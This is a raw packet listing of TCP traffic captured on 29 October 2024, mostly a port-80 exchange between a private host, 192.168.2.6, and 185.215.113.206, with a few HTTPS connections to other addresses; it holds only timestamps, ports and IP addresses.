Oct 29, 2024 15:27:49.595787048 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595803976 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595810890 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595838070 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.595863104 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595865011 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595865965 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595868111 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595873117 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595874071 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595884085 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595906019 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.595953941 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595959902 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.595968962 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595977068 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595983982 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.595992088 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596024990 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.596038103 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.596081972 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596095085 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596107006 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596113920 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596121073 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596126080 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596132040 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596143007 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596144915 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.596153021 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596187115 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.596208096 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.596210957 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596231937 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596249104 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596285105 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.596354008 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596364021 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596374989 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596380949 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596386909 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596394062 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596398115 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596409082 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596416950 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596416950 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.596422911 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596436024 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596438885 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.596442938 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596453905 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596457005 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.596477032 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.596497059 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.596704006 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596713066 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596735001 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596740961 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596746922 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596752882 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596759081 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596770048 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596771002 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.596781015 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596787930 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596791029 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.596795082 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596801043 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596807003 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596811056 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.596813917 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596821070 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596827984 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596831083 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.596836090 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596842051 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596853018 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.596853971 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596860886 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596865892 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596867085 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.596878052 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.596892118 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.596911907 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.596925974 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.597135067 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597151041 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597157955 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597167969 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597174883 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597186089 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597192049 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597198009 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597198009 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.597203970 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597210884 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597217083 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597229958 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597229958 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.597238064 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597244978 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597250938 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597251892 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.597259045 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597265005 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597270966 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.597270966 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597279072 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597285986 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597292900 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597294092 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.597301006 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597307920 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597320080 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.597352982 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.597368002 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.597505093 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597513914 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597526073 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597532034 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597537994 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597543955 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597551107 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597556114 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597563028 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597565889 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.597593069 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.597616911 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.597656012 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597662926 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597673893 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597681046 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597687006 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597693920 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597704887 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597719908 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.597733021 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.597757101 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.597759008 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597769976 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597775936 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597781897 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597794056 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597800970 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597806931 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597810984 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.597815037 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597820044 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.597841024 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.597877979 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.598072052 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598082066 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598093987 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598100901 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598105907 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598112106 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598118067 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598129034 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598135948 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.598141909 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598154068 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.598155975 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598165035 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598170996 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598175049 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.598179102 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598186016 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598191977 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.598220110 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.598251104 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.598339081 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598345041 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598356962 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598377943 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598387003 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598392963 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598395109 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.598400116 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598407030 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598414898 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598422050 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.598426104 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598434925 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598450899 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598462105 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598464966 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.598468065 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598475933 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598481894 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598484039 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.598509073 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.598516941 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598539114 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598540068 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.598546982 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598552942 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598560095 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598571062 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.598589897 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.598614931 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.598792076 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598802090 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598808050 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598814011 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598824978 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598830938 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598838091 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598840952 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.598845005 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598854065 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598864079 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598870039 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.598870993 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598879099 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598890066 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.598891973 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598913908 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.598936081 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.598937988 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598948956 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598953962 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.598957062 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598965883 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598980904 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598987103 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.598988056 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.598994017 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.599011898 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.599030972 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.599033117 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.599037886 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.599045992 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.599050999 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.599051952 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.599085093 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.599112988 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.614918947 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.615143061 CET	50016	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.615151882 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.616729021 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.616786003 CET	50016	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.617110014 CET	50016	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.617244959 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.617269993 CET	50016	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.627361059 CET	443	50014	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.639329910 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.644134045 CET	443	50013	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.644572020 CET	50013	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.644587040 CET	443	50013	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.645052910 CET	50013	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.645057917 CET	443	50013	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.659331083 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.725296974 CET	443	50017	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.737451077 CET	50017	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.737481117 CET	443	50017	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.737947941 CET	50017	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.737956047 CET	443	50017	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.748447895 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.748457909 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.748471975 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.748486996 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.748496056 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.748565912 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.748620033 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.748624086 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.748631001 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.748637915 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.748642921 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.748671055 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.749118090 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.749177933 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.749499083 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.749660969 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.749675035 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.749687910 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.749692917 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.749700069 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.749718904 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.749725103 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.749732018 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.749735117 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.749742031 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.749747992 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.749771118 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.749771118 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.749784946 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.749794960 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.749803066 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.749808073 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.749825954 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.749834061 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.749840975 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.749842882 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.749845982 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.749860048 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.749872923 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.749880075 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.749922037 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.749934912 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.750015020 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.750030041 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.750036955 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.750044107 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.750050068 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.750067949 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.750075102 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.750108004 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.750121117 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.750238895 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.750246048 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.750296116 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.750411034 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.750426054 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.750437975 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.750462055 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.750464916 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.750468969 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.750478029 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.750479937 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.750484943 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.750493050 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.750507116 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.750535965 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.750545025 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.750602007 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.750608921 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.750655890 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.750749111 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.750756025 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.750768900 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.750775099 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.750780106 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.750792027 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.750798941 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.750806093 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.750823021 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.750834942 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.750844002 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.750853062 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.750888109 CET	49940	80	192.168.2.6	185.215.113.206
